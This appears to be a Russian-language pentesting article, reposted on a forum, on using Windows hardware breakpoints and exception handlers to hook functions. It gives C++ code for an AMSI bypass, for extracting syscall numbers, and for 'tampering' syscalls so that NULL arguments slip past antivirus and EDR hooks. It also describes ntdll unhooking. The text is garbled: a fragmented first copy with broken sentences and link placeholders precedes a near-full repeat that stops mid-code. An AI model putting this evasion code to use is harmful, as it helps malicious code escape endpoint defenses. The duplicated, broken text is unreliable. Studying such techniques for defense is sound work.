stihl не предоставил(а) никакой дополнительной информации.
Windows предоставляет мощные инструменты для установки точек останова непосредственно в памяти. Но знаешь ли ты, что с их помощью можно ставить и снимать хуки, а также получать сисколы? В этой статье я в подробностях расскажу, как это делать.
Точки останова служат для контроля выполнения программы и, конечно же, их остановки в определенный момент. Глобально существует два вида брейк‑пойнтов: software breakpoints и hardware breakpoints.
Software breakpoint — точка останова, которая ставится с помощью отладчика или IDE. Чтобы поставить такую точку останова, можно, например, просто кликнуть на нужную строку программы в Visual Studio.
Установка software breakpoint в Visual Studio
Такие точки останова можно ставить где угодно и сколько угодно. Никаких ограничений нет.
Установка множества software breakpoint
Hardware breakpoint — уже более сложная штука, которую мы сегодня и будем изучать. Эти бряки ставятся путем заполнения специальных отладочных регистров процессора (DR0–DR7). Согласно документации, Dr0–3 должны хранить адрес, по которому установлен breakpoint, но у меня бряк срабатывал, только если адрес заполнялся в DR0.
Первые три регистра называются регистрами с отладочными адресами (Debug Address Registers). Регистры с номерами 4 и 5 не используются и называются зарезервированными отладочными регистрами (Reserved Debug Registers). DR6 содержит различную информацию о сработавшем исключении. Исключение — это событие, возникающее, когда компьютер пытается выполнить инструкцию, адрес которой расположен в DR0. DR7 содержит биты управления отладкой. Если значение равно единице, то точка останова должна сработать, если нулю, то не должна.
Hardware breakpoints, как ты понимаешь, через красивый GUI не ставятся. Нам потребуется взаимодействовать с регистрами напрямую, используя, конечно же, наш любимый WinAPI. И само собой, только хардверные брейки позволят хукать, обходить AMSI и получать сисколы. Софтверные, к сожалению, для этого не подходят.
Как выглядит исключение
Любые исключения могут быть обработаны. Здесь есть два пути — VEH (Vectored Exception Handling) и SEH (Structured Exception Handling). Отдельно я выделю еще UEH (Unhandled Exception Handling). Начнем с SEH. SEH — стандартный блок __try — __finally, __try — __except.
Обработка исключения с помощью SEH
SEH можно считать надстройкой над конструкцией try — except из С++. В SEH в блок __except добавляются специальные значения, в зависимости от которых может меняться поведение обработчика исключений:
Пример EXCEPTION_CONTINUE_EXECUTION
Программы могут быть сложные, страшные, большие, нужно предусматривать корректный выход из всех блоков, изучать возможные исключения. Вдруг потребуется функция уведомления пользователя о сработавшем исключении? В общем, SEH хорош, но, помимо него, появился и VEH. VEH можно считать эдакой надстройкой над SEH. Работает она, само собой, только в Windows.
Если в программе возникает исключение, то первыми вызываются именно векторные обработчики и лишь затем система начнет разворачивать стек. С помощью VEH прога может, например, зарегистрировать функцию для просмотра или обработки всех исключений приложения. Причем в программу можно добавить несколько VEH-обработчиков, и они будут вызваны в том порядке, в котором были добавлены. Первый — первым, второй — вторым и так далее. SEH после VEH вызывается только в том случае, если VEH вернул EXCEPTION_CONTINUE_SEARCH.
С помощью VEH можно ловить исключения, возникающие при хардверных брейках. Добавить обработчик можно с помощью функции Для просмотра ссылки Войдиили Зарегистрируйся.
Обработка исключения с помощью VEH
Видим, что обработчик успешно срабатывает и вызывается, затем возвращает EXCEPTION_CONTINUE_SEARCH. Это, в свою очередь, дергает SEH, SEH в программе нет, поэтому Visual Studio включается и выдает нам исключение. Если будем возвращать EXCEPTION_CONTINUE_EXECTION, то получим бесконечный вызов обработчика, так как каждый раз будет срабатывать строка *p = 42.
Бесконечная обработка исключения
Точно такое же исключение будет срабатывать и при хардверных бряках.
Наконец, последний тип обработчиков — Unhandled Exception Filter. Он редко когда используется, но изначально задумывался как обработчик для исключений, которые вообще никто не обрабатывает. Ни VEH (если отсутствует или вернул EXCEPTION_CONTINUE_SEARCH), ни SEH (если тоже отсутствует или указано EXCEPTION_CONTINUE_SEARCH). Устанавливаются такие обработчики через функцию Для просмотра ссылки Войдиили Зарегистрируйся.
Функция принимает один‑единственный параметр — адрес функции‑обработчика, которая должна вызываться при возникновении необработанного исключения. С помощью UEF также ловятся исключения, возникающие при бряках.
Возьмем прошлый код и переделаем его под UEF.
Обрати внимание, что если ты запустишь этот код в Visual Studio, то она выдаст ошибку до UEF.
Исключение от «Студии», а не от UEF
Это связано с тем, что исключение в данном случае обрабатывает Visual Studio. Если же файл будет запущен за пределами IDE, то мы получим успешный вызов обработчика.
Вызов обработчика
Для получения значения регистров текущего потока используется функция Для просмотра ссылки Войдиили Зарегистрируйся, а для установки измененных значений используется Для просмотра ссылки Войди или Зарегистрируйся.
Причем, если мы хотим обрабатывать только исключения, сработавшие из‑за HWBP, в нашей функции‑обработчике следует предусмотреть проверку на наличие в структуре EXCEPTION_POINTERS элемента ExceptionCode, равного STATUS_SINGLE_STEP. Это значение свидетельствует о том, что возникло событие, когда одна инструкция завершается и следующая инструкция готова к выполнению.
Здесь был установлен HWBP по адресу функции printf(). Как только система дошла до вызова этой функции, сработало исключение, вызвался обработчик исключений, вывел содержимое регистров, а затем вернул управление на функцию, что привело к появлению в консоли Hello, world!.
Сработавший HWBP
Теперь мы научились ставить бряки. Как же их использовать для пентестерских целей?
или Зарегистрируйся лежит на GitHub.
Причем, если нам не подходит реализация на C++, есть на C#, проект называется Для просмотра ссылки Войдиили Зарегистрируйся. Он патчит AMSI и ETW, используя хардверные брейк‑пойнты. Для этого вынесен отдельный метод EnableBreakpoint().
Отдельный метод
Обрати внимание, что в зависимости от архитектуры используются разные методы. Если у нас х86, то адрес следует конвертировать с помощью метода <addr>.ToInt32(), а когда в х64, то <addr>.ToInt64().
Функция EnableBreakpoint для х86
Функция EnableBreakpoint для х64
или Зарегистрируйся». Сейчас же предлагаю обратить внимание на проект Для просмотра ссылки Войди или Зарегистрируйся. Этот проект использует UEF для извлечения номеров сисколов. Сначала просто ставится функция‑обработчик.
SetUnhandledExceptionFilter( OneShotHardwareBreakpointHandler );
Следом идет поиск адреса Nt* функции и установка бряка на адрес syscall этой функции. Для этого точка останова ставится непосредственно на саму инструкцию. Адрес инструкции находится стандартным сканированием памяти на паттерны (а именно на последовательность байтов 0f05).
Когда адрес найден, на него устанавливается хардверный брейк‑пойнт с помощью следующей функции:
Например, если мы хотим засисколить функцию NtMapViewOfSection(), то сначала генерируем нужный код с помощью файла gen.py.
Это приведет к созданию трех файлов: TamperingSyscalls.cpp, TamperingSyscalls.h и main.cpp. Включаем файлы в проект, после чего подключаем заголовочный.
И вызываем нужные функции, просто добавляя p к имени.
Внутри сгенерированной функции идет получение адреса NtMapViewOfSection() из ntdll.dll.
Для получения адреса используется техника API Hashing, которую я демонстрировал в статье «Для просмотра ссылки Войдиили Зарегистрируйся». Хеш считается с помощью одноименного макроса.
Далее инициализируются все элементы структуры NtMapViewOfSectionArgs:
Эта структура содержит информацию обо всех аргументах функции NtMapViewOfSection, которые будут применяться в дальнейшем.
Затем устанавливается специальное значение EnumState, благодаря которому отладчик сможет понять, бряк на какую функцию сработал. Наконец, происходит непосредственно вызов Nt-функции, адрес которой был получен ранее.
Обрати внимание, что первыми четырьмя параметрами мы передаем NULL. Именно эти параметры, скорее всего, будет анализировать антивирус до выполнения инструкции syscall. Но мы на их место передаем NULL, что сбивает антивирус с толку: он не может принять решение, легитимный это вызов или нет, в результате чего пропускает вызов. Фактически таким образом мы обошли потенциальный хук.
Зачем нужны NULL-параметры
Восстановление параметров происходит как раз таки в функции‑обработчике HWBP.
Сначала эта функция проверяет, что исключение действительно хардверное. Для этого происходит сравнение со значением STATUS_SINGLE_STEP, об этой проверке я рассказывал выше.
Далее система проверяет, что хардверный брейк‑пойнт был включен (должно быть значение 1 у Dp7). Следующим шагом из регистра Rax извлекается номер сискола, который был туда занесен. После чего проверяем, что адрес следующей выполняемой инструкции (syscall) действительно лежит в Dp0, то есть установленный на нее бряк действительно сработал. После чего HWBP снимается и начинается проверка значения EnumState, которое инициализировали ранее. Это нужно для корректной инициализации всех параметров функции. Если все прошло успешно, срабатывает бряк, а за ним — EXCEPTION_CONTINUE_EXECUTION, что приводит к выполнению сискола с нужными нам параметрами. Фактически мы «пробрасываем параметры» в обход EDR.
Похожая техника применяется и в Для просмотра ссылки Войдиили Зарегистрируйся, есть даже отдельный Для просмотра ссылки Войди или Зарегистрируйся.
или Зарегистрируйся».
Далее остается лишь проверять имена загружаемых DLL, разрешая подгрузку только ntdll.dll. Убедившись, что отлаживаемый процесс загрузил ntdll.dll, мы копируем ее содержимое в свой собственный процесс и перезаписываем ntdll.dll нашего текущего процесса, что и приводит к анхукингу. Техника называется BlindSide, существует готовый Для просмотра ссылки Войдиили Зарегистрируйся.
Алгоритм снятия хуков
или Зарегистрируйся, содержащую информацию о значении всех регистров потока. Но проблема в том, что регистры х64 отличаются от регистров х86, поэтому есть также структура Для просмотра ссылки Войди или Зарегистрируйся, где хранятся значения регистров у программ для x86.
Мы можем использовать эти данные для получения структуры CONTEXT, чтобы избежать подозрительной функции GetThreadContext(). Вот пример кода.
или Зарегистрируйся.
Точки останова служат для контроля выполнения программы и, конечно же, их остановки в определенный момент. Глобально существует два вида брейк‑пойнтов: software breakpoints и hardware breakpoints.
Software breakpoint — точка останова, которая ставится с помощью отладчика или IDE. Чтобы поставить такую точку останова, можно, например, просто кликнуть на нужную строку программы в Visual Studio.

Такие точки останова можно ставить где угодно и сколько угодно. Никаких ограничений нет.

Hardware breakpoint — уже более сложная штука, которую мы сегодня и будем изучать. Эти бряки ставятся путем заполнения специальных отладочных регистров процессора (DR0–DR7). Согласно документации, Dr0–3 должны хранить адрес, по которому установлен breakpoint, но у меня бряк срабатывал, только если адрес заполнялся в DR0.
Первые три регистра называются регистрами с отладочными адресами (Debug Address Registers). Регистры с номерами 4 и 5 не используются и называются зарезервированными отладочными регистрами (Reserved Debug Registers). DR6 содержит различную информацию о сработавшем исключении. Исключение — это событие, возникающее, когда компьютер пытается выполнить инструкцию, адрес которой расположен в DR0. DR7 содержит биты управления отладкой. Если значение равно единице, то точка останова должна сработать, если нулю, то не должна.
Hardware breakpoints, как ты понимаешь, через красивый GUI не ставятся. Нам потребуется взаимодействовать с регистрами напрямую, используя, конечно же, наш любимый WinAPI. И само собой, только хардверные брейки позволят хукать, обходить AMSI и получать сисколы. Софтверные, к сожалению, для этого не подходят.
Обработка исключений
Итак, исключение возникает при попытке выполнить инструкцию, на которой стоит точка останова. По своей натуре оно при этом точно такое же, как, к примеру, при попытке деления на ноль.
Любые исключения могут быть обработаны. Здесь есть два пути — VEH (Vectored Exception Handling) и SEH (Structured Exception Handling). Отдельно я выделю еще UEH (Unhandled Exception Handling). Начнем с SEH. SEH — стандартный блок __try — __finally, __try — __except.
Код:
#include <iostream>
#include <Windows.h>
int main() {
int a = 2 - 2;
int b = 3;
__try {
std::cout << b / a << std::endl;
}
__except (EXCEPTION_EXECUTE_HANDLER) {
std::cout << "EXCEPTION" << std::endl;
}
return 0;
}

SEH можно считать надстройкой над конструкцией try — except из С++. В SEH в блок __except добавляются специальные значения, в зависимости от которых может меняться поведение обработчика исключений:
- EXCEPTION_EXECUTE_HANDLER — система передает управление в обработчик исключения. То есть будет поведение, как в коде выше;
- EXCEPTION_CONTINUE_SEARCH — эта конструкция заставляет систему перейти к предыдущему блоку try, которому соответствует блок except, и обработать этот блок. То есть система игнорирует текущий обработчик исключений и пытается найти обработчик исключений в охватывающем блоке (или блоках);
- EXCEPTION_CONTINUE_EXECUTION — обнаружив такое значение, система возвращается к инструкции, вызвавшей исключение, и пытается выполнить ее снова.
Код:
#include <iostream>
#include <cstddef>
#include <Windows.h>
char g_szBuffer[100];
LONG Filter(char** ppchBuffer) {
if (*ppchBuffer == NULL) {
*ppchBuffer = g_szBuffer;
return(EXCEPTION_CONTINUE_EXECUTION);
}
return(EXCEPTION_EXECUTE_HANDLER);
}
int main() {
int x = 0;
char* pchBuffer = NULL;
__try {
*pchBuffer = 'J';
x = 5 / x;
}
__except (Filter(&pchBuffer)) {
MessageBox(NULL, L"An exception occurred", NULL, MB_OK);
}
MessageBox(NULL, L"Function completed", NULL, MB_OK);
return 0;
}

Программы могут быть сложные, страшные, большие, нужно предусматривать корректный выход из всех блоков, изучать возможные исключения. Вдруг потребуется функция уведомления пользователя о сработавшем исключении? В общем, SEH хорош, но, помимо него, появился и VEH. VEH можно считать эдакой надстройкой над SEH. Работает она, само собой, только в Windows.
Если в программе возникает исключение, то первыми вызываются именно векторные обработчики и лишь затем система начнет разворачивать стек. С помощью VEH прога может, например, зарегистрировать функцию для просмотра или обработки всех исключений приложения. Причем в программу можно добавить несколько VEH-обработчиков, и они будут вызваны в том порядке, в котором были добавлены. Первый — первым, второй — вторым и так далее. SEH после VEH вызывается только в том случае, если VEH вернул EXCEPTION_CONTINUE_SEARCH.
С помощью VEH можно ловить исключения, возникающие при хардверных брейках. Добавить обработчик можно с помощью функции Для просмотра ссылки Войди
Код:
PVOID AddVectoredExceptionHandler(
ULONG FirstHandler,
PVECTORED_EXCEPTION_HANDLER VectoredHandler)
- FirstHandler — вызывать обработчик раньше всех ранее зарегистрированных обработчиков (значение CALL_FIRST) или после всех (значение CALL_LAST);
- VectoredHandler — адрес функции обработчика. Эта функция должна возвращать EXCEPTION_CONTINUE_EXECUTION. Обработчики далее не выполняются, обработка средствами SEH не производится, управление передается в ту точку программы, из которой было вызвано исключение или EXCEPTION_CONTINUE_SEARCH (выполняется следующий векторный обработчик, а если таких нет, то разворачивается SEH).
Код:
#include <iostream>
#include <windows.h>
#include <errhandlingapi.h>
LONG WINAPI MyVectoredExceptionHandler(PEXCEPTION_POINTERS exceptionInfo)
{
std::cout << "Exception occurred!" << std::endl;
std::cout << "Exception Code: " << exceptionInfo->ExceptionRecord->ExceptionCode << std::endl;
std::cout << "Exception Address: " << exceptionInfo->ExceptionRecord->ExceptionAddress << std::endl;
return EXCEPTION_CONTINUE_SEARCH;
}
int main()
{
if (AddVectoredExceptionHandler(1, MyVectoredExceptionHandler) == nullptr)
{
std::cout << "Failed to add the exception handler!" << std::endl;
return 1;
}
int* p = nullptr;
*p = 42; // Исключение возникает тут
return 0;
}

Видим, что обработчик успешно срабатывает и вызывается, затем возвращает EXCEPTION_CONTINUE_SEARCH. Это, в свою очередь, дергает SEH, SEH в программе нет, поэтому Visual Studio включается и выдает нам исключение. Если будем возвращать EXCEPTION_CONTINUE_EXECTION, то получим бесконечный вызов обработчика, так как каждый раз будет срабатывать строка *p = 42.

Точно такое же исключение будет срабатывать и при хардверных бряках.
Наконец, последний тип обработчиков — Unhandled Exception Filter. Он редко когда используется, но изначально задумывался как обработчик для исключений, которые вообще никто не обрабатывает. Ни VEH (если отсутствует или вернул EXCEPTION_CONTINUE_SEARCH), ни SEH (если тоже отсутствует или указано EXCEPTION_CONTINUE_SEARCH). Устанавливаются такие обработчики через функцию Для просмотра ссылки Войди
Код:
LPTOP_LEVEL_EXCEPTION_FILTER SetUnhandledExceptionFilter(
[in] LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter
);
Возьмем прошлый код и переделаем его под UEF.
Код:
#include <iostream>
#include <windows.h>
LONG WINAPI MyUnhandledExceptionHandler(PEXCEPTION_POINTERS exceptionInfo)
{
std::cout << "Unhandled exception occurred!" << std::endl;
std::cout << "Exception Code: " << exceptionInfo->ExceptionRecord->ExceptionCode << std::endl;
std::cout << "Exception Address: " << exceptionInfo->ExceptionRecord->ExceptionAddress << std::endl;
return EXCEPTION_CONTINUE_SEARCH;
}
int main()
{
if (SetUnhandledExceptionFilter(MyUnhandledExceptionHandler) == nullptr)
{
std::cout << "Failed to set the unhandled exception filter!" << std::endl;
return 1;
}
int* p = nullptr;
*p = 42;
return 0;
}
Обрати внимание, что если ты запустишь этот код в Visual Studio, то она выдаст ошибку до UEF.

Это связано с тем, что исключение в данном случае обрабатывает Visual Studio. Если же файл будет запущен за пределами IDE, то мы получим успешный вызов обработчика.

Установка hardware breakpoint
Установить HWBP проще простого — достаточно лишь занести в нужный регистр адрес. Для большей абстракции я написал функцию SetHWBP(), куда нужно передать адрес, по которому следует установить точку останова, булево значение (TRUE — установить, FALSE — снять), а также номер регистра. Согласно документации, адрес может быть указан в Dr0, Dr1 и так далее, но у меня почему‑то работало только с Dr0.
Код:
// address — адрес, по которому ставить функцию
// setBP — FALSE — снять бряк, TRUE — установить
// regnumer — номер регистра, который инициализировать адресом
VOID SetHWBP(LPVOID address, BOOL setBP, int regnumber) {
// Здесь передаем 0
CONTEXT context = { 0 };
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext(GetCurrentThread(), &context);
// Почему-то бряк, если адрес записывать в регистры, отличные от Dr0, не срабатывает
std::string registerNames[] = { "Dr0", "Dr1", "Dr2", "Dr3" };
if (setBP) {
DWORD64* registers[] = { &context.Dr0, &context.Dr1, &context.Dr2, &context.Dr3 };
if (regnumber >= 0 && regnumber < 4) {
*registers[regnumber] = (DWORD64)address;
std::cout << "Writing Address to " << registerNames[regnumber] << std::endl;
}
else {
std::wcout << L"Invalid Registry Number" << std::endl;
exit(-1);
}
// Установка бита 0 в DR7 для активации DR0
context.Dr7 |= 1;
// Установка битов 16–17 в DR7 для типа точки останова (Execute)
context.Dr7 |= (0b00 << 16);
// Установка битов 18–19 в DR7 для длины точки останова (1 byte)
context.Dr7 |= (0b00 << 18);
}
else {
context.Dr0 = 0;
context.Dr1 = 0;
context.Dr2 = 0;
context.Dr3 = 0;
context.Dr7 &= ~(1 << 0);
}
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
SetThreadContext(GetCurrentThread(), &context);
}
Для получения значения регистров текущего потока используется функция Для просмотра ссылки Войди
Причем, если мы хотим обрабатывать только исключения, сработавшие из‑за HWBP, в нашей функции‑обработчике следует предусмотреть проверку на наличие в структуре EXCEPTION_POINTERS элемента ExceptionCode, равного STATUS_SINGLE_STEP. Это значение свидетельствует о том, что возникло событие, когда одна инструкция завершается и следующая инструкция готова к выполнению.
Код:
LONG WINAPI Handler(PEXCEPTION_POINTERS exceptionInfo)
{
if (exceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) {
std::cout << "Unhandled exception occurred!" << std::endl;
// Проверка, что реально наш бряк сработал
if (exceptionInfo->ContextRecord->Dr0 == exceptionInfo->ContextRecord->Rip || exceptionInfo->ContextRecord->Dr1 == exceptionInfo->ContextRecord->Rip || exceptionInfo->ContextRecord->Dr2 == exceptionInfo->ContextRecord->Rip || exceptionInfo->ContextRecord->Dr3 == exceptionInfo->ContextRecord->Rip) {
std::cout << "[-] Breakpoint triggered 0x" << std::hex << exceptionInfo->ExceptionRecord->ExceptionAddress << std::endl;
std::cout << "[!] Exception Code 0x" << std::hex << exceptionInfo->ExceptionRecord->ExceptionCode << std::endl;
std::cout << "[!] RIP 0x" << std::hex << exceptionInfo->ContextRecord->Rip << std::endl;
std::cout << "[!] RAX 0x" << std::hex << exceptionInfo->ContextRecord->Rax << std::endl;
std::cout << "[!] RCX 0x" << std::hex << exceptionInfo->ContextRecord->Rcx << std::endl;
std::cout << "[!] RDX 0x" << std::hex << exceptionInfo->ContextRecord->Rdx << std::endl;
}
exceptionInfo->ContextRecord->EFlags |= (1 << 16);
return EXCEPTION_CONTINUE_EXECUTION;
}
// Вернем EXCEPTION_CONTINUE_SEARCH, чтобы передать исключение дальше
return EXCEPTION_CONTINUE_SEARCH;
}
Использовать в своей программе этот код проще простого. Вот пример.
#include <iostream>
#include <windows.h>
LONG WINAPI Handler(PEXCEPTION_POINTERS exceptionInfo)
{
if (exceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) {
std::cout << "Unhandled exception occurred!" << std::endl;
// Проверка того, что наш бряк реально сработал
if (exceptionInfo->ContextRecord->Dr0 == exceptionInfo->ContextRecord->Rip || exceptionInfo->ContextRecord->Dr1 == exceptionInfo->ContextRecord->Rip || exceptionInfo->ContextRecord->Dr2 == exceptionInfo->ContextRecord->Rip || exceptionInfo->ContextRecord->Dr3 == exceptionInfo->ContextRecord->Rip) {
std::cout << "[-] Breakppint triggered " << std::hex << exceptionInfo->ExceptionRecord->ExceptionAddress << std::endl;
std::cout << "[!] Exception Code " << std::hex << exceptionInfo->ExceptionRecord->ExceptionCode << std::endl;
std::cout << "[!] RIP " << std::hex << exceptionInfo->ContextRecord->Rip << std::endl;
std::cout << "[!] RAX " << std::hex << exceptionInfo->ContextRecord->Rax << std::endl;
std::cout << "[!] RCX " << std::hex << exceptionInfo->ContextRecord->Rcx << std::endl;
std::cout << "[!] RDX " << std::hex << exceptionInfo->ContextRecord->Rdx << std::endl;
std::cout << "[!] R8 " << std::hex << exceptionInfo->ContextRecord->R8 << std::endl;
std::cout << "[!] R9 " << std::hex << exceptionInfo->ContextRecord->R9 << std::endl;
std::cout << "[!] RSP " << std::hex << exceptionInfo->ContextRecord->Rsp << std::endl;
std::cout << "[!] Dr0 " << std::hex << exceptionInfo->ContextRecord->Dr0 << std::endl;
}
exceptionInfo->ContextRecord->EFlags |= (1 << 16);
return EXCEPTION_CONTINUE_EXECUTION;
}
// Вернем EXCEPTION_CONTINUE_SEARCH, чтобы передать исключение дальше
return EXCEPTION_CONTINUE_SEARCH;
}
VOID SetHWBP(LPVOID address, BOOL setBP, int regnumber) {
CONTEXT context = { 0 };
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext(GetCurrentThread(), &context);
// Почему-то бряк, если адрес записывать в регистры, отличные от Dr0, не срабатывает
std::string registerNames[] = { "Dr0", "Dr1", "Dr2", "Dr3" };
if (setBP) {
DWORD64* registers[] = { &context.Dr0, &context.Dr1, &context.Dr2, &context.Dr3 };
if (regnumber >= 0 && regnumber < 4) {
*registers[regnumber] = (DWORD64)address;
std::cout << "Writing Address to " << registerNames[regnumber] << std::endl;
}
else {
std::wcout << L"Invalid Registry Number" << std::endl;
exit(-1);
}
// Установка бита 1 в DR7 для активации DR0
context.Dr7 |= 1;
// Установка битов 16–17 в DR7 для типа точки останова (Execute)
context.Dr7 |= (0b00 << 16);
// Установка битов 18–19 в DR7 для длины точки останова (1 byte)
context.Dr7 |= (0b00 << 18);
}
else {
context.Dr0 = 0;
context.Dr1 = 0;
context.Dr2 = 0;
context.Dr3 = 0;
context.Dr7 &= ~(1 << 0);
}
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
SetThreadContext(GetCurrentThread(), &context);
}
int main()
{
if (AddVectoredExceptionHandler(1, Handler) == nullptr)
{
std::cout << "Failed to set the vectored exception filter!" << std::endl;
return 1;
}
// Адрес функции printf
void* targetAddress = (void*)printf;
SetHWBP(targetAddress, TRUE, 0);
// Генерация сигнала точки останова
printf("Hello, world!");
return 0;
}
Здесь был установлен HWBP по адресу функции printf(). Как только система дошла до вызова этой функции, сработало исключение, вызвался обработчик исключений, вывел содержимое регистров, а затем вернул управление на функцию, что привело к появлению в консоли Hello, world!.

Теперь мы научились ставить бряки. Как же их использовать для пентестерских целей?
Обход AMSI
У AMSI есть функция AmsiScanBuffer(), которая служит для сканирования буфера на предмет наличия зловредов. Ничто нам не мешает поставить HWBP на эту функцию, перехватить поток управления и заставить функцию вернуть AMSI_RESULT_CLEAN. Этот метод уже давно известен, и Для просмотра ссылки ВойдиПричем, если нам не подходит реализация на C++, есть на C#, проект называется Для просмотра ссылки Войди

Обрати внимание, что в зависимости от архитектуры используются разные методы. Если у нас х86, то адрес следует конвертировать с помощью метода <addr>.ToInt32(), а когда в х64, то <addr>.ToInt64().


Извлечение номеров сисколов
Сисколы позволяют напрямую обратиться к ядру операционной системы, что поможет избежать хуков в user mode. Подробно сисколы я рассматривал в материале «Для просмотра ссылки ВойдиSetUnhandledExceptionFilter( OneShotHardwareBreakpointHandler );
Следом идет поиск адреса Nt* функции и установка бряка на адрес syscall этой функции. Для этого точка останова ставится непосредственно на саму инструкцию. Адрес инструкции находится стандартным сканированием памяти на паттерны (а именно на последовательность байтов 0f05).
Код:
LPVOID FindSyscallAddress( LPVOID function )
{
BYTE stub[] = { 0x0F, 0x05 };
for( unsigned int i = 0; i < (unsigned int)25; i++ )
{
if( memcmp( (LPVOID)((DWORD_PTR)function + i), stub, 2 ) == 0 ) {
return (LPVOID)((DWORD_PTR)function + i);
}
}
return NULL;
}
Когда адрес найден, на него устанавливается хардверный брейк‑пойнт с помощью следующей функции:
Код:
VOID SetOneshotHardwareBreakpoint( LPVOID address )
{
CONTEXT context = { 0 };
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext( GetCurrentThread(), &context );
context.Dr0 = (DWORD64)address;
context.Dr6 = 0;
context.Dr7 = (context.Dr7 & ~(((1 << 2) - 1) << 16)) | (0 << 16);
context.Dr7 = (context.Dr7 & ~(((1 << 2) - 1) << 18)) | (0 << 18);
context.Dr7 = (context.Dr7 & ~(((1 << 1) - 1) << 0)) | (1 << 0);
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
SetThreadContext( GetCurrentThread(), &context );
return;
}
Например, если мы хотим засисколить функцию NtMapViewOfSection(), то сначала генерируем нужный код с помощью файла gen.py.
python gen.py NtMapViewOfSection
Это приведет к созданию трех файлов: TamperingSyscalls.cpp, TamperingSyscalls.h и main.cpp. Включаем файлы в проект, после чего подключаем заголовочный.
#include "TamperingSyscalls.h"
И вызываем нужные функции, просто добавляя p к имени.
pNtMapViewOfSection( section, NtCurrentProcess(), &addr, 0, 0, NULL, &size, 1, 0, PAGE_READONLY );
Внутри сгенерированной функции идет получение адреса NtMapViewOfSection() из ntdll.dll.
Код:
NTSTATUS pNtMapViewOfSection( HANDLE SectionHandle, HANDLE ProcessHandle, PVOID BaseAddress, ULONG ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect ) {
LPVOID FunctionAddress;
NTSTATUS status;
hash( NtMapViewOfSection );
FunctionAddress = GetProcAddrExH( hashNtMapViewOfSection, hashNTDLL ); typeNtMapViewOfSection fNtMapViewOfSection;
pNtMapViewOfSectionArgs.SectionHandle = SectionHandle;
pNtMapViewOfSectionArgs.ProcessHandle = ProcessHandle;
pNtMapViewOfSectionArgs.BaseAddress = BaseAddress;
pNtMapViewOfSectionArgs.ZeroBits = ZeroBits;
pNtMapViewOfSectionArgs.CommitSize = CommitSize;
pNtMapViewOfSectionArgs.SectionOffset = SectionOffset;
pNtMapViewOfSectionArgs.ViewSize = ViewSize;
pNtMapViewOfSectionArgs.InheritDisposition = InheritDisposition;
pNtMapViewOfSectionArgs.AllocationType = AllocationType;
pNtMapViewOfSectionArgs.Win32Protect = Win32Protect;
fNtMapViewOfSection = (typeNtMapViewOfSection)FunctionAddress;
EnumState = NTMAPVIEWOFSECTION_ENUM;
SetOneshotHardwareBreakpoint( FindSyscallAddress( FunctionAddress ) );
status = fNtMapViewOfSection( NULL, NULL, NULL, NULL, pNtMapViewOfSectionArgs.CommitSize, pNtMapViewOfSectionArgs.SectionOffset, pNtMapViewOfSectionArgs.ViewSize, pNtMapViewOfSectionArgs.InheritDisposition, pNtMapViewOfSectionArgs.AllocationType, pNtMapViewOfSectionArgs.Win32Protect );
return status;
}
Для получения адреса используется техника API Hashing, которую я демонстрировал в статье «Для просмотра ссылки Войди
#define hash( VAL ) constexpr auto CONCAT( hash, VAL ) = HASHALGO( TOKENIZE( VAL ) );
Далее инициализируются все элементы структуры NtMapViewOfSectionArgs:
Код:
typedef struct {
HANDLE SectionHandle;
HANDLE ProcessHandle;
PVOID BaseAddress;
ULONG ZeroBits;
SIZE_T CommitSize;
PLARGE_INTEGER SectionOffset;
PSIZE_T ViewSize;
DWORD InheritDisposition;
ULONG AllocationType;
ULONG Win32Protect;
} NtMapViewOfSectionArgs;
Эта структура содержит информацию обо всех аргументах функции NtMapViewOfSection, которые будут применяться в дальнейшем.
Затем устанавливается специальное значение EnumState, благодаря которому отладчик сможет понять, бряк на какую функцию сработал. Наконец, происходит непосредственно вызов Nt-функции, адрес которой был получен ранее.
Код:
status = fNtMapViewOfSection( NULL, NULL, NULL, NULL, pNtMapViewOfSectionArgs.CommitSize, pNtMapViewOfSectionArgs.SectionOffset, pNtMapViewOfSectionArgs.ViewSize, pNtMapViewOfSectionArgs.InheritDisposition, pNtMapViewOfSectionArgs.AllocationType, pNtMapViewOfSectionArgs.Win32Protect );
Обрати внимание, что первыми четырьмя параметрами мы передаем NULL. Именно эти параметры, скорее всего, будет анализировать антивирус до выполнения инструкции syscall. Но мы на их место передаем NULL, что сбивает антивирус с толку: он не может принять решение, легитимный это вызов или нет, в результате чего пропускает вызов. Фактически таким образом мы обошли потенциальный хук.

Восстановление параметров происходит как раз таки в функции‑обработчике HWBP.
Код:
LONG WINAPI OneShotHardwareBreakpointHandler( PEXCEPTION_POINTERS ExceptionInfo )
{
if( ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP )
{
if( ExceptionInfo->ContextRecord->Dr7 & 1 ) {
// If the ExceptionInfo->ContextRecord->Rip == ExceptionInfo->ContextRecord->Dr0
// Then we are at the one shot breakpoint address
// ExceptionInfo->ContextRecord->Rax should hold the syscall number
PRINT( "Syscall : 0x%x\n", ExceptionInfo->ContextRecord->Rax );
if( ExceptionInfo->ContextRecord->Rip == ExceptionInfo->ContextRecord->Dr0 ) {
ExceptionInfo->ContextRecord->Dr0 = 0;
// You need to fix your arguments in the right registers and stack here
switch( EnumState ) {
// RCX moved into R10!!! Kudos to @anthonyprintup for catching this
case NTMAPVIEWOFSECTION_ENUM:
ExceptionInfo->ContextRecord->R10 =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->SectionHandle;
ExceptionInfo->ContextRecord->Rdx =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->ProcessHandle;
ExceptionInfo->ContextRecord->R8 =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->BaseAddress;
ExceptionInfo->ContextRecord->R9 =
